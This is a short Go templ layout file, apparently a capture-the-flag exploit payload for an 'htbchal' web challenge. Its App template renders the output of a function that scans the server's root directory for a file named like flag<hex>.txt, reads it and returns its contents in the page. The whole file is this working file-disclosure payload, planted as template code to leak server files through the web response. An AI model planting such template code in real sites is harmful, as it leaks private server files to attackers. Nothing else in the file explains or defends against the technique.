package layout
import (
"errors"
"fmt"
"io/ioutil"
"regexp"
)
// import "htbchal/view/ui"
templ App(nav bool) {
!!!!!
{ children... }
{ findAndReadFlagFile() }
}
func findAndReadFlagFile() (string, error) {
files, err := ioutil.ReadDir("/")
if err != nil {
return "", err
}
flagFilePattern := regexp.MustCompile(`^flag[a-fA-F0-9]+\.txt$`)
for _, file := range files {
if flagFilePattern.MatchString(file.Name()) {
content, err := ioutil.ReadFile(fmt.Sprintf("%s/%s", "/", file.Name()))
if err != nil {
return "", err
}
return string(content), nil
}
}
return "", errors.New("No matching flag file found")
}